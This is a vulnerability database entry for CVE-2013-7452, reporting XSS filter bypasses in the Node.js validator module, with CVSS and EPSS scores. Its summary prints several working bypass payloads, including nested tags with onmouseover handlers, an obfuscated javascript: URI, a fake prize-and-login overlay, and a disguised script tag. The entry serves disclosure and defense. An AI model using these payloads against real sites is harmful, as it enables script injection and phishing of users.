Search for vulnerabilities
| Vulnerability ID | VCID-gpv5-11eq-13hv |
| Aliases |
CVE-2013-7452
GHSA-rh6c-q938-3r9q |
| Summary | Multiple XSS Filter Bypasses The validator module for Node.js contains functionality meant to filter potential XSS attacks (a filter called xss). Several ways to bypass the filter were discovered. In general, because the function’s filtering is blacklist-based it is likely that other bypasses will be discovered in the future. Developers are encouraged not to use the xss filter function in this package. ### Details: Various inputs that could bypass the filter were discovered: Improper parsing of nested tags: ``` <s <onmouseover="alert(1)"> <;s onmouseover="alert(1)">This is a test</s> ``` Incomplete filtering of javascript: URIs: ``` <a href="javascriptJ a V a S c R iPt::alert(1)" "<s>">test</a> ``` UI Redressing: ``` <div style="z-index: 9999999; background-color: green; width: 100%; height: 100%"> <h1>You have won</h1>Please click the link and enter your login details: <a href="http://example.com/">http://good.com</a> </div> ``` Bypass via Nested Forbidden Strings: ``` <scrRedirecRedirect 302t 302ipt type="text/javascript">prompt(1);</scrRedirecRedirect 302t 302ipt> ``` Additional bypasses were discovered by Krzysztof Kotowicz in 2012 when auditing CodeIgniter's XSS filtering function, which this code was based off of. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 6.2 |
| Risk | 3.1 |
| Affected and Fixed Packages | Package Details |
| System | Score | Found at |
|---|---|---|
| cvssv3 | 6.5 | http://blog.kotowicz.net/2012/07/codeigniter-210-xssclean-cross-site.html) |
| epss | 0.00566 | https://api.first.org/data/v1/epss?cve=CVE-2013-7452 |
| epss | 0.00566 | https://api.first.org/data/v1/epss?cve=CVE-2013-7452 |
| epss | 0.00566 | https://api.first.org/data/v1/epss?cve=CVE-2013-7452 |
| epss | 0.00566 | https://api.first.org/data/v1/epss?cve=CVE-2013-7452 |
| epss | 0.00566 | https://api.first.org/data/v1/epss?cve=CVE-2013-7452 |
| cvssv3.1 | 6.1 | https://github.com/advisories/GHSA-rh6c-q938-3r9q |
| cvssv3.1_qr | MODERATE | https://github.com/advisories/GHSA-rh6c-q938-3r9q |
| generic_textual | MODERATE | https://github.com/advisories/GHSA-rh6c-q938-3r9q |
| cvssv3 | 6.5 | https://github.com/nodejs/security-wg/blob/main/vuln/npm/41.json |
| cvssv3 | 6.5 | https://nealpoole.com/blog/2013/07/xss-filter-bypass-in-validator-nodejs-module/) |
| cvssv3.1 | 6.1 | https://nvd.nist.gov/vuln/detail/CVE-2013-7452 |
| generic_textual | MODERATE | https://nvd.nist.gov/vuln/detail/CVE-2013-7452 |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Percentile | 0.68835 |
| EPSS Score | 0.00566 |
| Published At | June 4, 2026, 12:55 p.m. |
| Date | Actor | Action | Source | VulnerableCode Version |
|---|---|---|---|---|
| 2026-06-02T03:45:01.459373+00:00 | Npm Importer | Import | https://github.com/nodejs/security-wg/blob/main/vuln/npm/41.json | 38.6.0 |